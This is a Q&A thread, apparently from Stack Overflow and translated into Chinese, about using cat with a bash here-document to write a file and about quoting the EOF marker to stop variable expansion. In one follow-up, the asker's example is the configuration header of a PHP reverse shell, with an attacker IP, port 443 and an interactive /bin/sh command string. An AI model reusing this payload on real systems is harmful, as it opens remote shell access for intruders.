2017-08-04 32 views
0

我想從我的腳本中隨機選擇,並將它貓放到/tmp/test.php文件中的一個新文件中,但它不會創建一個文件。我認爲使用EOF將選擇我需要和處理它,但它似乎不起作用。貓'在這裏文檔'文本塊到新文件

#!/bin/bash 

cat /tmp/test.php << \EOF 

<?php 
test, you are awesome, haha. 
test 2, this is some php, not finished,. 
?> 
EOF 

echo script continues 
.... 
.... 
Continues 
etc 

現在,我應該能夠去tmp和看我的test.php的 東西,我做錯了

+3

更換'貓的/ tmp/test.php'與'cat> /tmp/test.php'。 – John1024

回答

0

你應該嘗試awk或者sed工具從文件中剪切文本,特別是如果你想從10行到20行。據我所知貓命令唯一的開放程序或瀏覽。

您可以指定兩個正則表達式作爲範圍。假設「#」開始評論,您可以搜索關鍵字,刪除所有評論,直到看到第二個關鍵字。在這種情況下,兩個關鍵詞是「開始」和「停止」

sed的「/開始/,/停止/ s的/#.*//

,您可以得到更多有關使用基於Linux的sed編輯器命令行here

+1

這不是他的問題,你說的是不正確的。 – py9

+0

https://stackoverflow.com/questions/2500436/how-does-cat-eof-work-in-bash –

0

這工作:

cat > /tmp/test.php << EOF 

<?php 
test, you are awesome, haha. 
test 2, this is some php, not finished,. 
?> 
EOF 

注:

  1. 使用<< EOF,不<< \EOF
  2. 使用cat > /tmp/text.php,不cat /tmp/text.php
+1

嘗試使用'$ something'在here-doc中,你會看到'EOF'應該是逃過一劫。 –

+0

@BenjaminW。,謝謝,我不知道。然而,在測試它時,似乎''EOF'是不太常用的用法,因爲在* here文檔中包含一個變量的值可能是有意的,並且可以在不打開\ EOF的情況下打印一個變量名一個* ad hoc *基礎,* eg *'\ $ PATH被設置爲$ PATH'。當\ * here文檔*包含比變量值更多的變量名稱(不應該被合成)時,'\ EOF'的最佳用法似乎是簡寫。 – agc

+1

我不知道或多或少一般;如果你知道你想在這裏逐字逐句地提供所有的東西,你可以逃避標記,而不是逃避here-doc中的所有內容,如果你想擴展一些東西,你不會逃避分隔符並且確保你正確地逃脫在這裏doc。無論什麼最方便。我只是指出它應該逃脫,因爲在自我回答中給出的擴展例子中,有些變量不應該被擴展。 –

0

使作品,幾乎:)當我用貓> /tmp/test.php < < EOF爲前。

cat > /tmp/shell.php << EOF 

<?php 

set_time_limit (0); 
$VERSION = "1.0"; 
$ip = '10.11.0.100'; // CHANGE THIS 
$port = 443;  // CHANGE THIS 
$chunk_size = 1400; 
$write_a = null; 
$error_a = null; 
$shell = 'uname -a; w; id; /bin/sh -i'; 
$daemon = 0; 
$debug = 0; 
EOF 

輸出看起來是這樣的:

<?php 

set_time_limit (0); 
= "1.0"; 
= '10.11.0.100'; // CHANGE THIS 
= 443;  // CHANGE THIS 
= 1400; 
= null; 
= null; 
= 'uname -a; w; id; /bin/sh -i'; 
= 0; 
= 0; 

和終端給我:

[email protected]:~/My_Scripts# ./shell_pipe.bs 
./shell_pipe.bs: line 21: //: Is a directory 
./shell_pipe.bs: line 22: //: Is a directory 
./shell_pipe.bs: line 23: //: Is a directory 
./shell_pipe.bs: line 25: //: Is a directory 
./shell_pipe.bs: line 26: //: Is a directory 
./shell_pipe.bs: line 27: syntax error near unexpected token `'pcntl_fork'' 
./shell_pipe.bs: line 27: `if (function_exists('pcntl_fork')) {' 

編輯,爲外殼:

cat > /root/Desktop/shell.php <<'EOF' 

<?php 

set_time_limit (0); 
$VERSION = "1.0"; 
$ip = '$i'; // CHANGE THIS 
$port = 443;  // CHANGE THIS 
$chunk_size = 1400; 
$write_a = null; 
$error_a = null; 
$shell = 'uname -a; w; id; /bin/sh -i'; 
$daemon = 0; 
$debug = 0; 
EOF 
// 
// Daemonise ourself if possible to avoid zombies later 
// 

// pcntl_fork is hardly ever available, but will allow us to daemonise 
// our php process and avoid zombies. Worth a try... 
+1

您必須引用EOF標記以防止插值:「EOF」。這實際上在20分鐘前被問過,在https://stackoverflow.com/questions/45514670/bash-script-create-script-variable;) –

+0

所以這似乎工作得很好,它確實複製了我需要的所有東西。但終端仍然出現錯誤。不知道它爲什麼抱怨。我有一些目錄,例如://在EOF結束之後,咆哮着,這就是錯誤 – Petr

+0

'shell_pipe.bs'裏有什麼? –